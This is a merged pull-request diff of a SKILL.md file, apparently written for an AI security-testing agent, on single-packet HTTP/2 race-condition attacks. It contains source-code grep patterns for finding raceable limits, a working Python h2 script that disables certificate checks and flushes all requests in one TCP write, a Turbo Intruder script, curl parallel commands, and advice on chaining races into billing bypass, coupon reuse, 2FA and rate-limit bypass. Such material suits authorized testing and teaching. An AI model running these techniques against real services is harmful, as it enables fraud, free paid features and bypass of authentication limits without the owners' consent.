Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
142 changes: 114 additions & 28 deletions capabilities/web-security/skills/race-condition-single-packet/SKILL.md
Original file line number Diff line number Diff line change
@@ -1,53 +1,139 @@
---
name: race-condition-single-packet
description: Single-packet race conditions for exploiting multi-step flows via precise HTTP/2 request synchronization. Use when target has state-changing operations with limit checks, balance validation, or multi-step logic that may be vulnerable to concurrent execution.
description: Single-packet race conditions for exploiting multi-step flows via precise HTTP/2 request synchronization. Use when target has state-changing operations with limit checks, balance validation, or multi-step logic.
---

# Race Condition (Single-Packet Attack)

## Pattern
## Targets

Count-gated limits are the highest-yield targets. Any check-then-act pattern where a count/balance/state is read in one query and modified in a separate query is vulnerable if there's no locking between them.

- Resource creation limits (groups, members, webhooks, tokens, schedules)
- Coupon/discount/promo code application (use-once logic)
- Money transfers or balance deductions (insufficient funds check)
- Vote/like/rating limits (count-based restrictions)
- Balance deductions (insufficient funds check)
- Vote/like/rating limits
- 2FA or email verification token validation
- Inventory/stock checks during purchase
- Rate limit bypass on authentication endpoints

### Detection (Source Code)

For Rails apps, grep for the anti-pattern:

```bash
# Count-gated validations without locking
grep -rn "validate.*on.*:create\|exceeded?\|count.*<.*limit\|offset.*exists" app/models/
grep -rn "enforce_.*limit\|limit_reached?\|quota_exceeded?\|seat_available?" app/

# Rails Limitable concern (systemic — all models using it are vulnerable)
grep -rn "include Limitable" app/models/
```

For Django/Python apps:

```bash
# Count checks before creation
grep -rn "\.count()\|\.filter(.*).exists()\|len(.*objects" --include="*.py"
grep -rn "if.*>=.*limit\|if.*>=.*max\|quota.*exceeded" --include="*.py"
```

Red flags: `count >= LIMIT` in a validation method or pre-save hook with no database-level lock (`SELECT ... FOR UPDATE`, advisory lock, or mutex) in the same transaction.

## Methodology

Six steps. Each one matters.

1. **Find a count-gated limit** — docs, error messages, plan comparison pages, source code
2. **Verify the limit enforced sequentially** — fill to limit, send one more, confirm the error
3. **Reset to below the limit** — delete enough to create headroom for the race
4. **Fire h2 single-packet** — all requests in one TCP write
5. **Verify count exceeds limit** — the bypass
6. **Confirm sequential still blocked** — proves the limit works but is raceable (TOCTOU, not broken feature)

Step 6 is what makes this a vulnerability report instead of a broken feature report.

## Technique

**HTTP/2 single-packet:**
1. Open one H2 connection to target
2. Prepare N requests (e.g. 20x "apply coupon") but withhold final DATA frames
3. Pause ~100ms to trigger Nagle's algorithm batching
4. Send all END_STREAM frames simultaneously in one TCP packet
5. All N requests arrive within ~1ms, defeating server-side locks
### Python h2 (production technique)

True single-packet delivery. Buffer all HTTP/2 HEADERS+DATA frames, flush in one `socket.send()`. This is what actually works against production servers behind CDNs and load balancers.

```python
import ssl, socket, h2.connection, h2.config

def connect_h2_via_proxy(proxy_host, proxy_port, target_host):
"""CONNECT tunnel through proxy, TLS+ALPN h2 to target."""
sock = socket.create_connection((proxy_host, proxy_port))
sock.sendall(f"CONNECT {target_host}:443 HTTP/1.1\r\nHost: {target_host}:443\r\n\r\n".encode())
while b"\r\n\r\n" not in (resp := b""): resp += sock.recv(4096) # noqa
ctx = ssl.create_default_context()
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(["h2"])
return ctx.wrap_socket(sock, server_hostname=target_host)

tls = connect_h2_via_proxy("127.0.0.1", 8080, "target.com")
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True, header_encoding='utf-8'))
conn.initiate_connection()
tls.sendall(conn.data_to_send())
tls.recv(65535); conn.receive_data(tls.recv(65535)); tls.sendall(conn.data_to_send())

# Buffer ALL frames without sending
for i in range(N):
body = build_body(i)
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, headers + [("content-length", str(len(body)))], end_stream=False)
conn.send_data(sid, body, end_stream=True)

# Single flush — all frames in one TCP segment
tls.sendall(conn.data_to_send())
```

**Proxy compatibility:** Not all proxies negotiate h2 through CONNECT tunnels. If your proxy downgrades to HTTP/1.1, the frames will fail. Test with a proxy that supports h2 passthrough, or connect directly to the target for the race and replay through the proxy for evidence.

### Turbo Intruder (Burp)

```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1, engine=Engine.HTTP2)
for i in range(20):
engine.queue(target.req, gate='race')
engine.openGate('race')

def handleResponse(req, interesting):
table.add(req)
```

### Burp Repeater

Send to Repeater, create group tab, duplicate with modified payloads, select "Send group (single packet)".

### curl --parallel (HTTP/1.1 fallback)

Not true single-packet but creates contention. Useful when h2 is unavailable.

```bash
# Using Turbo Intruder (Burp extension) - single-packet mode:
# In Turbo Intruder, select "race/single-packet-attack.py" template
# Set request count to 20, configure the target request, and fire

# Using curl for quick H2 multiplexing test:
seq 1 20 | xargs -P 20 -I{} curl --http2 -s -o /dev/null -w "req={} status=%{http_code}\n" \
-X POST "https://target.com/api/apply-coupon" \
-H "Cookie: session=TOKEN" \
-d "code=PROMO123"
curl --parallel --parallel-immediate --parallel-max 10 \
-K /tmp/race-0.cfg -K /tmp/race-1.cfg ... -K /tmp/race-9.cfg
```

**HTTP/1.1 last-byte sync** (when H2 not available):
1. Send N requests on N connections, withholding final byte of each
2. Send all final bytes simultaneously
3. Less precise (~4ms spread) but works without H2
## Verify

**Checkpoint:** After sending parallel requests, check the resource state (balance, coupon count, vote tally). If the operation applied N times instead of once, the race condition is confirmed.
1. **Compare state before/after** — count must exceed the documented limit
2. **Sequential request must fail** — proves limit enforcement exists but was bypassed
3. **Log evidence at each step** — use `X-PoC-Step: N-description` headers for proxy history correlation

## Indicators
- Resource consumed N times from N parallel requests (coupon applied twice)
- Balance decremented below zero or multiple times in one operation
- Limit bypassed (N+1 votes, multiple password attempts)
- Resource count exceeds documented plan limit
- N-1 of N parallel requests succeed (one gets the lock contention, rest bypass)
- 500 errors during race (transaction conflicts) indicate the window exists even if bypass doesn't succeed — increase concurrency
- Sequential requests blocked post-race confirms TOCTOU (not a missing limit)

## Chain With
- orm-filter-data-leak (race-accelerated boolean oracle extraction)
- Billing bypass (member seats, paid plan features)
- CI minute exhaustion (pipeline schedule races)
- Event amplification (webhook races — every project event duplicated to attacker)

## Reference
https://portswigger.net/research/smashing-the-state-machine
Loading